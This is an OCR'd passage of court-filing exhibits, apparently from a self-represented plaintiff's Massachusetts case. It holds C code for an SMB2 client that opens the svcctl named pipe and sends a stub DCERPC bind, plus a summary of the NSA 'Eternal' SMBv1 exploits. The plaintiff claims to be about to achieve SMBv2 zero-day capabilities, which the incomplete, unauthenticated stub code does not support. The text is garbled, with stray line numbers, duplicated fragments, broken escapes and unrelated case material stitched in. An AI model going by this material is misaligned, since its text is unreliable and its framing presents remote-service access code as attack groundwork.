                                                                                                                   1116
```

```
1117
                                                                                                                   1117
1118
                                                 // 3. SMB2 NEGOTIATE
                                                                                                                   1118
1119
         if (doNegotiate() < 0) {
                                                                                                                   1119
1120
         close(gSock);
                                                                                                                   1120
1121
         return EXIT_FAILURE;
                                                                                                                   1121
1122
        }
                                                                                                                   1122
1123
                                                                                                                   1123
1124
        // 4. SMB2 SESSION_SETUP (stub)
                                                                                                                   1124
1125
         if (doSessionSetup() < 0) {
                                                                                                                   1125
1126
        close(gSock);
                                                                                                                   1126
1127
         return EXIT FAILURE;
                                                                                                                   1127
1128
        }
                                                                                                                   1128
1129
                                                                                                                   1129
1130
        // 5. SMB2 TREE_CONNECT to IPC$
                                                                                                                   1130
1131
        // Construct a UNC path like "\\\192.168.1.10\\IPC$"
                                                                                                                   1131
1132
         char ipcPath[256];
                                                                                                                   1132
1133
         snprintf(ipcPath, sizeof(ipcPath), "\\\%s\\IPC$", serverIp);
                                                                                                                   1133
1134
         if (doTreeConnect(ipcPath) < 0) {
                                                                                                                   1134
1135
         close(gSock);
                                                                                                                   1135
1136
         return EXIT_FAILURE;
                                                                                                                   1136
1137
                                                                                                                   1137
        }
1138
                                                                                                                   1138
1139
        // 6. SMB2 CREATE for named pipe "\PIPE\\svcctl"
                                                                                                                   1139
1140
         if (doOpenPipe("\PIPE\\svcctl") < 0) {
                                                                                                                   1140
1141
         close(gSock);
                                                                                                                   1141
1142
         return EXIT_FAILURE;
                                                                                                                   1142
1143
                                                                                                                   1143
        }
1144
                                                                                                                   1144
1145
        // 7. (Optional) Send a partial DCERPC Bind
                                                                                                                   1145
1146
         if (doDCERPCBind() < 0) {
                                                                                                                   1146
1147
        // Not strictly fatal; you might decide to continue or bail out
                                                                                                                   1147
1148
        fprintf(stderr, "DCERPC bind stub failed.\n");
                                                                                                                   1148
1149
        }
                                                                                                                   1149
1150
                                                                                                                   1150
        // 8. Attempt a read from the pipe (whatever the server might send back)
1151
                                                                                                                   1151
1152
         unsigned char readBuf[512];
                                                                                                                   1152
```

```
1153
                                                                                                                       1153
         memset(readBuf, 0, sizeof(readBuf));
1154
         uint32_t bytesRead = 0;
                                                                                                                      1154
1155
         if (doReadPipe(readBuf, sizeof(readBuf), &bytesRead) < 0) {
                                                                                                                      1155
1156
         fprintf(stderr, "Read from pipe failed.\n");
                                                                                                                      1156
1157
         } else {
                                                                                                                      1157
1158
         if (bytesRead > 0) {
                                                                                                                       1158
1159
         printf("[Client] Pipe response (hex):\n");
                                                                                                                      1159
         for (uint32_t i = 0; i < bytesRead; i++) {
                                                                                                                      1160
1160
         printf("%02X ", readBuf[i]);
1161
                                                                                                                      1161
1162
         }
                                                                                                                      1162
1163
         printf("\n");
                                                                                                                      1163
1164
         } else {
                                                                                                                      1164
1165
         printf("[Client] No data returned from pipe.\n");
                                                                                                                      1165
1166
         }
                                                                                                                      1166
         }
                                                                                                                      1167
1167
1168
                                                                                                                       1168
1169
         // 9. Close the pipe handle
                                                                                                                      1169
1170
         if (doClosePipe() < 0) {
                                                                                                                      1170
         fprintf(stderr, "Failed to close pipe properly.\n");
                                                                                                                      1171
1171
1172
         }
                                                                                                                      1172
1173
                                                                                                                      1173
1174
         // 10. Done
                                                                                                                      1174
1175
         close(gSock);
                                                                                                                       1175
1176
         printf("[Client] Done.\n");
                                                                                                                      1176
1177
         return EXIT_SUCCESS;
                                                                                                                      1177
1178
                                                                                                                      1178
         }
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| 1198 | EXHIBIT 3: The "Eternal" family of zero-day exploits developed by the NSA, on the SMBv1 protocol | 1198 |
| 1199 | | 1199 |
| 1200 | ## A Bit More Detail | 1200 |
| 1201 | | 1201 |
| 1202 | 1 **The Vulnerability (MS17-010)** | 1202 |
| 1203 | - EternalBlue exploited a memory corruption bug in Microsoft's SMBv1 server (in functions like | 1203 |
| 1204 | `Srv!SrvOs2FeaListToNt` or `Srv!SrvTransaction2Dispatch`). | 1204 |
| 1205 | - By sending specially crafted "trans2" (transaction) packets, the attacker could write arbitrary data past | 1205 |
| 1206 | buffer boundaries in kernel space (in particular, in the `SRV` driver). | 1206 |
| 1207 | | 1207 |
| 1208 | 2 **Named Pipe vs. Trans2** | 1208 |
| 1209 | - **Named Pipe Exploits (e.g., EternalRomance):** Some SMB exploits from the same leak abused a | 1209 |
| 1210 | named pipe—often `\pipe\SRVSVC`—to hold open a file/pipe handle in the SMB server and then | 1210 |
| 1211 | manipulate buffer offsets for code execution. | 1211 |
| 1212 | - **EternalBlue's Approach:** EternalBlue directly abused an out-of-bounds write in the SMBv1 "trans2" | 1212 |
| 1213 | sub-protocol. While SMBv1 does support named pipes, EternalBlue's trigger was not contingent on | 1213 |
| 1214 | obtaining a pipe handle. | 1214 |
| 1215 | | 1215 |
| 1216 | 3 **Why the Confusion?** | 1216 |
| 1217 | - All these exploits came from the same toolset (Equation Group's FuzzBunch) and target SMB on various | 1217 |
| 1218 | Windows versions. | 1218 |
| 1219 | - EternalBlue, EternalRomance, EternalChampion, and EternalSynergy each had different code paths and | 1219 |
| 1220 | slightly different vulnerabilities, even though they were all SMB-related. | 1220 |
| 1221 | | 1221 |
| 1222 | | 1222 |
| 1223 | | 1223 |
| 1224 | ### Summary | 1224 |
| | | |

| 225 | | |
|-----|--|---|
| 226 | - **EternalBlue** = Exploits a buffer overflow in SMBv1's "trans2" commands. | ١ |
| 227 | - **Does it use a pipe?** No—unlike some sibling exploits (e.g., EternalRomance), it does **not** hinge on | |
| 228 | a named pipe handle. | |
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| Superior Court of Massachusetts, Middlesex County | | | | | | |
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| EXHIBIT 1 | | | | | | |
| On 1/30/25, the Plaintiff receives an email from Apple detailing the information request made to the Plaintiff's developer account on 1/8/25, by the Middlsex DA's Office. This date coincided with the Plaintiff filing 27 and 27-1 in Federal Court Case 3:24-cv-06664-JS, the first time ever anyone has won a Section 230 claim vs Twitch interactive. | | | | | | |
| https://www.fakeopenai.co/section230 | | | | | | |
| https://www.fakeopenai.co/lsat | | | | | | |
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| Page 36 of 41 | | | | | | |

| The Plaintiff is making great progress, and expects to achieve an "Eternal" fa | mily of zaro-day canabilities on the |
|--|---------------------------------------|
| SMBv2 protocol, within a day or few days. | ining of zero-day capabilities on the |
| | |
| /******** | |
| * File: smb2_pipe_exec_client.c ss | |
| * | |
| * Demonstrates: | |
| * 1. Connecting to an SMB2/3 server (TCP 445). | |
| * 2. Negotiate, Session Setup, Tree Connect to IPC\$. | |
| * 3. Create/open the named pipe "\\PIPE\\svcctl". | |
| * 4. Partially demonstrate sending a DCERPC bind | |
| * request to the SVCCTL interface (stub only). | |
| * 5. Read back any server response. | |
| * 6. Close the pipe with an SMB2 Close. | |
| * | |
| * Security & Production Warnings: | |
| * - This remains incomplete demonstration code: | |
| * - No real auth or signing. | |
| * - No real DCERPC parse/marshalling logic. | |
| * - Minimal error handling and no encryption. | |
| * - Use only in a controlled environment with | |
| * permission! | |
| *********/ | |
| #include <stdio.h></stdio.h> | |
| #include <stdlib.h></stdlib.h> | |
| #include <string.h></string.h> | |
| #include <unistd.h></unistd.h> | |
| #include <arpa inet.h=""></arpa> | |
| #include <stdint.h></stdint.h> | |
| #include <errno.h></errno.h> | |
| #pragma pack(push, 1) | |
| // | |
| // SMB2 Header | |
| | |

```
typedef struct _SMB2Header {
unsigned char Protocolld[4]; // 0xFE 'S' 'M' 'B'
uint16_t StructureSize; // Always 64 for SMB2
uint16 t CreditCharge; // Credits requested/charged
uint32_t Status; // For responses, server sets status
uint16_t Command; // SMB2 command code
uint16_t Credits; // Credits granted/requested
uint32_t Flags; // SMB2 header flags
uint32_t NextCommand; // Offset to next command in compound
uint64_t MessageId; // Unique message ID
uint32 t Reserved; // Usually 0
uint32_t TreeId; // Tree ID
uint64 t SessionId; // Session ID
unsigned char Signature[16]; // For signing (unused here)
} SMB2Header;
// SMB2 Commands
#define SMB2_NEGOTIATE 0x0000
#define SMB2 SESSION SETUP 0x0001
#define SMB2_TREE_CONNECT 0x0003
#define SMB2_CREATE 0x0005
#define SMB2 CLOSE 0x0006
#define SMB2_READ 0x0008
#define SMB2_WRITE 0x0009
// SMB2 Status Codes (common)
#define STATUS SUCCESS 0x00000000
#define STATUS_INVALID_PARAMETER 0xC000000D
#define STATUS_ACCESS_DENIED 0xC0000022
#define STATUS NOT SUPPORTED 0xC00000BB
// SMB2 Dialects
#define SMB2 DIALECT 0202 0x0202
#define SMB2 DIALECT 0210 0x0210
#define SMB2 DIALECT 0300 0x0300
```

```
// Minimal Structures for Basic SMB2 Ops
//-----
/* SMB2 NEGOTIATE */
typedef struct _SMB2NegotiateRequest {
uint16_t StructureSize; // Must be 36
uint16_t DialectCount;
uint16_t SecurityMode;
uint16_t Reserved;
uint32_t Capabilities;
uint64_t ClientGuid; // Simplified to 8 bytes for demonstration
uint32_t NegotiateContextOffset;
uint16_t NegotiateContextCount;
uint16_t Reserved2;
// Then dialect array
} SMB2NegotiateRequest;
typedef struct _SMB2NegotiateResponse {
uint16 t StructureSize; // Must be 65 in real SMB2
uint16_t SecurityMode;
uint16_t DialectRevision;
uint16_t NegotiateContextCount;
uint32_t ServerGuid; // Simplified
uint32_t Capabilities;
uint32_t MaxTransSize;
uint32 t MaxReadSize;
uint32_t MaxWriteSize;
uint64_t SystemTime;
uint64_t ServerStartTime;
// etc...
} SMB2NegotiateResponse;
/* SMB2 SESSION SETUP */
typedef struct _SMB2SessionSetupRequest {
uint16_t StructureSize; // Must be 25
uint8_t Flags;
uint8 t SecurityMode;
```

```
uint32_t Capabilities;
uint32_t Channel;
uint16_t SecurityBufferOffset;
uint16_t SecurityBufferLength;
// Security buffer follows...
} SMB2SessionSetupRequest;
typedef struct _SMB2SessionSetupResponse {
uint16_t StructureSize; // Must be 9
uint16_t SessionFlags;
uint16_t SecurityBufferOffset;
uint16_t SecurityBufferLength;
// ...
} SMB2SessionSetupResponse;
/* SMB2 TREE_CONNECT */
typedef struct _SMB2TreeConnectRequest {
uint16_t StructureSize; // Must be 9
uint16_t Reserved;
uint32_t PathOffset;
uint32_t PathLength;
// Path follows
} SMB2TreeConnectRequest;
typedef struct _SMB2TreeConnectResponse {
uint16 t StructureSize; // Must be 16
uint8_t ShareType;
uint8_t Reserved;
uint32_t ShareFlags;
uint32_t Capabilities;
uint32_t MaximalAccess;
} SMB2TreeConnectResponse;
/* SMB2 CREATE */
typedef struct _SMB2CreateRequest {
uint16_t StructureSize; // Must be 57
uint8_t SecurityFlags;
```

```
uint8_t RequestedOplockLevel;
uint32_t ImpersonationLevel;
uint64_t SmbCreateFlags;
uint64 t Reserved;
uint32_t DesiredAccess;
uint32_t FileAttributes;
uint32_t ShareAccess;
uint32_t CreateDisposition;
uint32_t CreateOptions;
uint16_t NameOffset;
uint16_t NameLength;
uint32_t CreateContextsOffset;
uint32_t CreateContextsLength;
// Filename follows...
} SMB2CreateRequest;
typedef struct _SMB2CreateResponse {
uint16_t StructureSize; // Must be 89
uint8_t OplockLevel;
uint8_t Flags;
uint32_t CreateAction;
uint64_t CreationTime;
uint64_t LastAccessTime;
uint64_t LastWriteTime;
uint64_t ChangeTime;
uint64 t AllocationSize;
uint64_t EndofFile;
uint32_t FileAttributes;
// 16-byte FileId
uint64_t FileIdPersistent;
uint64_t FileIdVolatile;
// optional create contexts
} SMB2CreateResponse;
/* SMB2 WRITE/READ (for the RPC data) */
typedef struct _SMB2WriteRequest {
uint16_t StructureSize; // Must be 49
```

```
uint16_t DataOffset;
uint32_t Length;
uint64_t Offset;
uint64 t FileIdPersistent;
uint64_t FileIdVolatile;
uint32_t Channel;
uint32_t RemainingBytes;
uint16_t WriteChannelInfoOffset;
uint16_t WriteChannelInfoLength;
uint32_t Flags;
// Then the data
} SMB2WriteRequest;
typedef struct _SMB2WriteResponse {
uint16 t StructureSize; // Must be 17
uint16_t Reserved;
uint32_t Count;
uint32_t Remaining;
uint16_t WriteChannelInfoOffset;
uint16_t WriteChannelInfoLength;
} SMB2WriteResponse;
typedef struct _SMB2ReadRequest {
uint16_t StructureSize; // Must be 49
uint8_t Padding;
uint8 t Reserved;
uint32_t Length;
uint64_t Offset;
uint64_t FileIdPersistent;
uint64_t FileIdVolatile;
uint32_t MinimumCount;
uint32_t Channel;
uint32_t RemainingBytes;
uint16_t ReadChannelInfoOffset;
uint16_t ReadChannelInfoLength;
} SMB2ReadRequest;
```

```
typedef struct _SMB2ReadResponse {
uint16_t StructureSize; // Must be 17
uint8_t DataOffset;
uint8 t Reserved;
uint32_t DataLength;
uint32_t DataRemaining;
uint32_t Reserved2;
// data follows
} SMB2ReadResponse;
/* SMB2 CLOSE */
typedef struct _SMB2CloseRequest {
uint16_t StructureSize; // Must be 24
uint16_t Flags;
uint32_t Reserved;
uint64_t FileIdPersistent;
uint64_t FileIdVolatile;
} SMB2CloseRequest;
typedef struct _SMB2CloseResponse {
uint16_t StructureSize; // Must be 60
uint16_t Flags;
uint32_t Reserved;
uint64_t CreationTime;
uint64_t LastAccessTime;
uint64_t LastWriteTime;
uint64_t ChangeTime;
uint64_t AllocationSize;
uint64_t EndOfFile;
uint32_t FileAttributes;
} SMB2CloseResponse;
#pragma pack(pop)
//-----
// Global State & Helper Functions
```

```
static uint64_t gMessageId = 1;
static uint64_t gSessionId = 0;
static uint32_t gTreeId = 0;
static int gSock = -1;
static uint64_t gPipeFidPersistent = 0;
static uint64_t gPipeFidVolatile = 0;
* sendSMB2Request: send an SMB2 header + payload
int sendSMB2Request(SMB2Header *hdr, const void *payload, size_t payloadLen) {
ssize_t sent = send(gSock, hdr, sizeof(SMB2Header), 0);
if (sent < 0) {
perror("send header");
return -1;
if (payload && payloadLen > 0) {
sent = send(gSock, payload, payloadLen, 0);
if (sent < 0) {
perror("send payload");
return -1;
return 0;
}
* recvSMB2Response: recv an SMB2 header + payload
*/
int recvSMB2Response(SMB2Header *outHdr, void *outBuf, size_t bufSize, ssize_t *outPayloadLen) {
ssize_t recvd = recv(gSock, outHdr, sizeof(SMB2Header), 0);
if (recvd <= 0) {
perror("recv SMB2 header");
return -1;
if (recvd < (ssize_t)sizeof(SMB2Header)) {</pre>
```

```
fprintf(stderr, "Incomplete SMB2 header.\n");
return -1;
}
// Validate signature
if (!(outHdr->ProtocolId[0] == 0xFE &&
outHdr->ProtocolId[1] == 'S' &&
outHdr->ProtocolId[2] == 'M' &&
outHdr->ProtocolId[3] == 'B')) {
fprintf(stderr, "Invalid SMB2 signature.\n");
return -1;
}
// Non-blocking peek to see if there's more data
int peekLen = recv(gSock, outBuf, bufSize, MSG_DONTWAIT);
if (peekLen > 0) {
int realLen = recv(gSock, outBuf, peekLen, 0);
if (realLen < 0) {
perror("recv payload");
return -1;
}
*outPayloadLen = realLen;
} else {
*outPayloadLen = 0;
return 0;
* buildSMB2Header: fill out common fields
void buildSMB2Header(uint16_t command, uint32_t treeld, uint64_t sessionId, SMB2Header *hdrOut) {
memset(hdrOut, 0, sizeof(SMB2Header));
hdrOut->ProtocolId[0] = 0xFE;
hdrOut->ProtocolId[1] = 'S';
hdrOut->ProtocolId[2] = 'M';
```

};

// Send header + negotiate request

// Followed by the dialect array

perror("send dialects");

SMB2Header respHdr; unsigned char buf[1024];

return -1;

// Receive

Superior Court of Massachusetts, Middlesex County

```
EXHIBIT 2
hdrOut->ProtocolId[3] = 'B';
hdrOut->StructureSize = 64;
hdrOut->Command = command;
hdrOut->Credits = 1; // minimal
hdrOut->MessageId = gMessageId++;
hdrOut->TreeId = treeId;
hdrOut->SessionId = sessionId;
//-----
// SMB2 NEGOTIATE
//-----
int doNegotiate() {
SMB2Header hdr;
buildSMB2Header(SMB2_NEGOTIATE, 0, 0, &hdr);
SMB2NegotiateRequest req;
memset(&req, 0, sizeof(req));
req.StructureSize = 36;
req.DialectCount = 3;
uint16_t dialects[3] = {
SMB2_DIALECT_0202,
SMB2_DIALECT_0210,
SMB2_DIALECT_0300
```

if (sendSMB2Request(&hdr, &req, sizeof(req)) < 0) return -1;

if (send(gSock, dialects, sizeof(dialects), 0) < 0) {

```
ssize_t payloadLen;
if (recvSMB2Response(&respHdr, buf, sizeof(buf), &payloadLen) < 0) return -1;
if (respHdr.Status != STATUS_SUCCESS) {
fprintf(stderr, "Negotiate failed, status=0x%08X\n", respHdr.Status);
return -1;
}
printf("[Client] SMB2 NEGOTIATE OK. payloadLen=%zd\n", payloadLen);
return 0;
}
// SMB2 SESSION_SETUP (stub - no real authentication)
//-----
int doSessionSetup() {
SMB2Header hdr;
buildSMB2Header(SMB2_SESSION_SETUP, 0, 0, &hdr);
SMB2SessionSetupRequest ssreq;
memset(&ssreq, 0, sizeof(ssreq));
ssreq.StructureSize = 25;
// In real usage, you'd set SecurityBufferOffset/Length and
// provide an NTLM/Kerberos token. This is omitted here.
if (sendSMB2Request(&hdr, &ssreq, sizeof(ssreq)) < 0) return -1;
SMB2Header respHdr;
unsigned char buf[1024];
ssize_t payloadLen;
if (recvSMB2Response(&respHdr, buf, sizeof(buf), &payloadLen) < 0) return -1;
if (respHdr.Status != STATUS_SUCCESS) {
fprintf(stderr, "SessionSetup failed, status=0x%08X\n", respHdr.Status);
return -1;
```

```
EXHIBIT 2
```

```
gSessionId = respHdr.SessionId;
printf("[Client] SMB2 SESSION_SETUP OK. SessionId=0x%llx\n",
(unsigned long long)gSessionId);
return 0;
// SMB2 TREE CONNECT to \\server\IPC$
//-----
int doTreeConnect(const char *ipcPath) {
SMB2Header hdr;
buildSMB2Header(SMB2_TREE_CONNECT, 0, gSessionId, &hdr);
SMB2TreeConnectRequest tcreq;
memset(&tcreq, 0, sizeof(tcreq));
tcreq.StructureSize = 9;
tcreq.PathOffset = sizeof(tcreq);
uint32_t pathLen = (uint32_t)strlen(ipcPath);
tcreq.PathLength = pathLen;
size_t reqSize = sizeof(tcreq) + pathLen;
char *reqBuf = (char *)malloc(reqSize);
if (!reqBuf) {
fprintf(stderr, "malloc failed\n");
return -1;
memcpy(reqBuf, &tcreq, sizeof(tcreq));
memcpy(reqBuf + sizeof(tcreq), ipcPath, pathLen);
if (sendSMB2Request(&hdr, reqBuf, reqSize) < 0) {
free(reqBuf);
return -1;
free(reqBuf);
SMB2Header respHdr;
```

```
unsigned char buf[1024];
ssize_t payloadLen;
if (recvSMB2Response(&respHdr, buf, sizeof(buf), &payloadLen) < 0) {
return -1;
if (respHdr.Status != STATUS_SUCCESS) {
fprintf(stderr, "TreeConnect to %s failed, status=0x%08X\n",
ipcPath, respHdr.Status);
return -1;
if (payloadLen < (ssize_t)sizeof(SMB2TreeConnectResponse)) {</pre>
fprintf(stderr, "TreeConnect response too small\n");
return -1;
gTreeId = respHdr.TreeId;
printf("[Client] TREE_CONNECT to %s OK. Treeld=0x%08X\n", ipcPath, gTreeld);
return 0;
//-----
// SMB2 CREATE (Open named pipe, e.g. "\\PIPE\\svcctl")
//-----
int doOpenPipe(const char *pipeName) {
SMB2Header hdr;
buildSMB2Header(SMB2_CREATE, gTreeld, gSessionId, &hdr);
SMB2CreateRequest creq;
memset(&creq, 0, sizeof(creq));
creq.StructureSize = 57;
creq.RequestedOplockLevel = 0; // none
creq.ImpersonationLevel = 2; // SecurityImpersonation
creq.DesiredAccess = 0x001F01FF; // GENERIC_ALL (over-simplified)
creq.ShareAccess = 3; // read/write share
creq.CreateDisposition = 1; // FILE_OPEN
creq.CreateOptions = 0;
```

```
creq.NameOffset = sizeof(SMB2CreateRequest);
// Convert ASCII to a simple UTF-16LE
uint32_t pipeNameLenBytes = (uint32_t)(strlen(pipeName) * 2);
creq.NameLength = (uint16_t)pipeNameLenBytes;
size_t totalSize = sizeof(creq) + pipeNameLenBytes;
unsigned char *reqBuf = (unsigned char *)malloc(totalSize);
if (!reqBuf) {
fprintf(stderr, "malloc doOpenPipe failed\n");
return -1;
}
memcpy(reqBuf, &creq, sizeof(creq));
// ASCII -> UTF-16LE
unsigned char *pName = reqBuf + sizeof(creq);
for (size_t i = 0; i < strlen(pipeName); i++) {
pName[i*2] = (unsigned char)pipeName[i];
pName[i*2+1] = 0x00;
if (sendSMB2Request(&hdr, reqBuf, totalSize) < 0) {
free(reqBuf);
return -1;
free(reqBuf);
SMB2Header respHdr;
unsigned char buf[1024];
ssize_t payloadLen;
if (recvSMB2Response(&respHdr, buf, sizeof(buf), &payloadLen) < 0) return -1;
if (respHdr.Status != STATUS_SUCCESS) {
fprintf(stderr, "OpenPipe '%s' failed, status=0x%08X\n",
pipeName, respHdr.Status);
return -1;
}
```

```
if (payloadLen < (ssize_t)sizeof(SMB2CreateResponse)) {</pre>
fprintf(stderr, "CreateResponse too small.\n");
return -1;
SMB2CreateResponse *cres = (SMB2CreateResponse *)buf;
gPipeFidPersistent = cres->FileIdPersistent;
gPipeFidVolatile = cres->FileIdVolatile;
printf("[Client] Named pipe '%s' opened OK. FID=(%llx:%llx)\n",
pipeName,
(unsigned long long)gPipeFidPersistent,
(unsigned long long)gPipeFidVolatile);
return 0;
// doWritePipe: Send raw bytes into the named pipe
//-----
int doWritePipe(const unsigned char *data, size_t dataLen) {
SMB2Header hdr;
buildSMB2Header(SMB2_WRITE, gTreeld, gSessionId, &hdr);
SMB2WriteRequest wreq;
memset(&wreq, 0, sizeof(wreq));
wreq.StructureSize = 49;
wreq.DataOffset = sizeof(SMB2WriteRequest);
wreq.Length = (uint32_t)dataLen;
wreq.FileIdPersistent = gPipeFidPersistent;
wreq.FileIdVolatile = gPipeFidVolatile;
size_t totalSize = sizeof(wreq) + dataLen;
unsigned char *reqBuf = (unsigned char*)malloc(totalSize);
if (!reqBuf) {
fprintf(stderr, "malloc doWritePipe failed\n");
return -1;
}
```

```
EXHIBIT 2
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```
memcpy(reqBuf, &wreq, sizeof(wreq));
memcpy(reqBuf + sizeof(wreq), data, dataLen);
if (sendSMB2Request(&hdr, reqBuf, totalSize) < 0) {
free(reqBuf);
return -1;
}
free(reqBuf);
// read response
SMB2Header respHdr;
unsigned char buf[512];
ssize_t payloadLen;
if (recvSMB2Response(&respHdr, buf, sizeof(buf), &payloadLen) < 0) return -1;
if (respHdr.Status != STATUS_SUCCESS) {
fprintf(stderr, "WritePipe failed, status=0x%08X\n", respHdr.Status);
return -1;
}
if (payloadLen < (ssize_t)sizeof(SMB2WriteResponse)) {</pre>
fprintf(stderr, "WriteResponse too small\n");
return -1;
}
SMB2WriteResponse *wres = (SMB2WriteResponse *)buf;
printf("[Client] Wrote %u bytes to pipe.\n", wres->Count);
return 0;
}
// doReadPipe: read back from the pipe
//-----
int doReadPipe(unsigned char *outBuf, size_t outBufSize, uint32_t *outBytesRead) {
SMB2Header hdr;
buildSMB2Header(SMB2_READ, gTreeld, gSessionId, &hdr);
SMB2ReadRequest rreq;
memset(&rreq, 0, sizeof(rreq));
```

```
rreq.StructureSize = 49;
rreq.Length = (uint32_t)outBufSize;
rreq.FileIdPersistent = gPipeFidPersistent;
rreq.FileIdVolatile = gPipeFidVolatile;
if (sendSMB2Request(&hdr, &rreq, sizeof(rreq)) < 0) return -1;
SMB2Header respHdr;
unsigned char buf[2048];
ssize_t payloadLen;
if (recvSMB2Response(&respHdr, buf, sizeof(buf), &payloadLen) < 0) return -1;
if (respHdr.Status != STATUS_SUCCESS) {
fprintf(stderr, "ReadPipe failed, status=0x%08X\n", respHdr.Status);
return -1;
if (payloadLen < (ssize_t)sizeof(SMB2ReadResponse)) {</pre>
fprintf(stderr, "ReadResponse too small\n");
return -1;
SMB2ReadResponse *rres = (SMB2ReadResponse *)buf;
uint32_t dataLen = rres->DataLength;
if (dataLen > 0) {
uint8_t *dataStart = buf + rres->DataOffset;
// Check for bounds
if (rres->DataOffset + dataLen <= (uint32_t)payloadLen) {
if (dataLen > outBufSize) {
dataLen = (uint32_t)outBufSize; // Truncate
}
memcpy(outBuf, dataStart, dataLen);
} else {
fprintf(stderr, "Data offset/length out of payload bounds!\n");
return -1;
*outBytesRead = dataLen;
```

```
printf("[Client] Read %u bytes from pipe.\n", dataLen);
return 0;
}
//-----
// doDCERPCBind: a partial DCERPC bind request to SVCCTL
//-----
int doDCERPCBind() {
// A typical DCERPC bind to SVCCTL might include:
// - Version/PacketType
// - Interface UUID
// - Transfer syntax, etc.
// This is an oversimplified placeholder.
unsigned char dcerpcBindStub[] = {
0x05, 0x00, // RPC version
0x0B, // bind PDU type
0x10, // flags (little-endian)
0x00, 0x00, 0x00, 0x00, // DCE call ID (placeholder)
// [Interface UUID + version], [transfer syntax], etc...
// This is incomplete for a real DCERPC bind!
};
printf("[Client] Sending partial DCERPC bind stub...\n");
return doWritePipe(dcerpcBindStub, sizeof(dcerpcBindStub));
}
//-----
// doClosePipe: SMB2 Close for the named pipe handle
//-----
int doClosePipe() {
SMB2Header hdr;
buildSMB2Header(SMB2_CLOSE, gTreeld, gSessionId, &hdr);
SMB2CloseRequest creq;
memset(&creq, 0, sizeof(creq));
creq.StructureSize = 24;
```

```
creq.Flags = 0; // 0 or 1 for POSTQUERY_ATTR
creq.FileIdPersistent = gPipeFidPersistent;
creq.FileIdVolatile = gPipeFidVolatile;
if (sendSMB2Request(&hdr, &creq, sizeof(creq)) < 0) return -1;
SMB2Header respHdr;
unsigned char buf[512];
ssize_t payloadLen;
if (recvSMB2Response(&respHdr, buf, sizeof(buf), &payloadLen) < 0) {
return -1;
}
if (respHdr.Status != STATUS_SUCCESS) {
fprintf(stderr, "ClosePipe failed, status=0x%08X\n", respHdr.Status);
return -1;
printf("[Client] SMB2 Close on pipe handle OK.\n");
return 0;
//-----
// main()
//-----
int main(int argc, char *argv[]) {
if (argc < 3) {
fprintf(stderr, "Usage: %s <server_ip> <server_port>\n", argv[0]);
fprintf(stderr, "Example: %s 192.168.1.10 445\n", argv[0]);
return EXIT_FAILURE;
const char *serverIp = argv[1];
int port = atoi(argv[2]);
// 1. Create socket
gSock = socket(AF_INET, SOCK_STREAM, 0);
if (gSock < 0) {
```

```
EXHIBIT 2
```

```
perror("socket");
return EXIT_FAILURE;
// 2. Connect
struct sockaddr_in serverAddr;
memset(&serverAddr, 0, sizeof(serverAddr));
serverAddr.sin_family = AF_INET;
serverAddr.sin_port = htons(port);
if (inet_pton(AF_INET, serverIp, &serverAddr.sin_addr) <= 0) {</pre>
perror("inet_pton");
close(gSock);
return EXIT_FAILURE;
}
if (connect(gSock, (struct sockaddr*)&serverAddr, sizeof(serverAddr)) < 0) {
perror("connect");
close(gSock);
return EXIT_FAILURE;
printf("[Client] Connected to %s:%d\n", serverlp, port);
// 3. SMB2 NEGOTIATE
if (doNegotiate() < 0) {
close(gSock);
return EXIT_FAILURE;
// 4. SMB2 SESSION_SETUP (stub)
if (doSessionSetup() < 0) {
close(gSock);
return EXIT_FAILURE;
// 5. SMB2 TREE_CONNECT to IPC$
// Construct a UNC path like "\\\192.168.1.10\\IPC$"
char ipcPath[256];
```

```
snprintf(ipcPath, sizeof(ipcPath), "\\\\%s\\IPC$", serverlp);
if (doTreeConnect(ipcPath) < 0) {
close(gSock);
return EXIT FAILURE;
// 6. SMB2 CREATE for named pipe "\PIPE\\svcctl"
if (doOpenPipe("\\PIPE\\svcctl") < 0) {
close(gSock);
return EXIT_FAILURE;
// 7. (Optional) Send a partial DCERPC Bind
if (doDCERPCBind() < 0) {
// Not strictly fatal; you might decide to continue or bail out
fprintf(stderr, "DCERPC bind stub failed.\n");
// 8. Attempt a read from the pipe (whatever the server might send back)
unsigned char readBuf[512];
memset(readBuf, 0, sizeof(readBuf));
uint32_t bytesRead = 0;
if (doReadPipe(readBuf, sizeof(readBuf), &bytesRead) < 0) {
fprintf(stderr, "Read from pipe failed.\n");
} else {
if (bytesRead > 0) {
printf("[Client] Pipe response (hex):\n");
for (uint32_t i = 0; i < bytesRead; i++) {
printf("%02X ", readBuf[i]);
}
printf("\n");
} else {
printf("[Client] No data returned from pipe.\n");
// 9. Close the pipe handle
```

```
if (doClosePipe() < 0) {
fprintf(stderr, "Failed to close pipe properly.\n");
}
// 10. Done
close(gSock);
printf("[Client] Done.\n");
return EXIT_SUCCESS;
}</pre>
```

EXHIBIT 3

The "Eternal" family of zero-day exploits developed by the NSA, on the SMBv1 protocol

A Bit More Detail

- 1. **The Vulnerability (MS17-010)**
- EternalBlue exploited a memory corruption bug in Microsoft's SMBv1 server (in functions like `Srv!SrvOs2FeaListToNt` or `Srv!SrvTransaction2Dispatch`).
- By sending specially crafted "trans2" (transaction) packets, the attacker could write arbitrary data past buffer boundaries in kernel space (in particular, in the `SRV` driver).
- 2. **Named Pipe vs. Trans2**
- **Named Pipe Exploits (e.g., EternalRomance):** Some SMB exploits from the same leak abused a named pipe—often `\pipe\SRVSVC`—to hold open a file/pipe handle in the SMB server and then manipulate buffer offsets for code execution.
- **EternalBlue's Approach:** EternalBlue directly abused an out-of-bounds write in the SMBv1 "trans2" sub-protocol. While SMBv1 does support named pipes, EternalBlue's trigger was not contingent on obtaining a pipe handle.
- 3. **Why the Confusion?**
- All these exploits came from the same toolset (Equation Group's FuzzBunch) and target SMB on various Windows versions.
- EternalBlue, EternalRomance, EternalChampion, and EternalSynergy each had different code paths and slightly different vulnerabilities, even though they were all SMB-related.

Summary

- **EternalBlue** = Exploits a buffer overflow in SMBv1's "trans2" commands.
- **Does it use a pipe?** No—unlike some sibling exploits (e.g., EternalRomance), it does **not** hinge on a named pipe handle.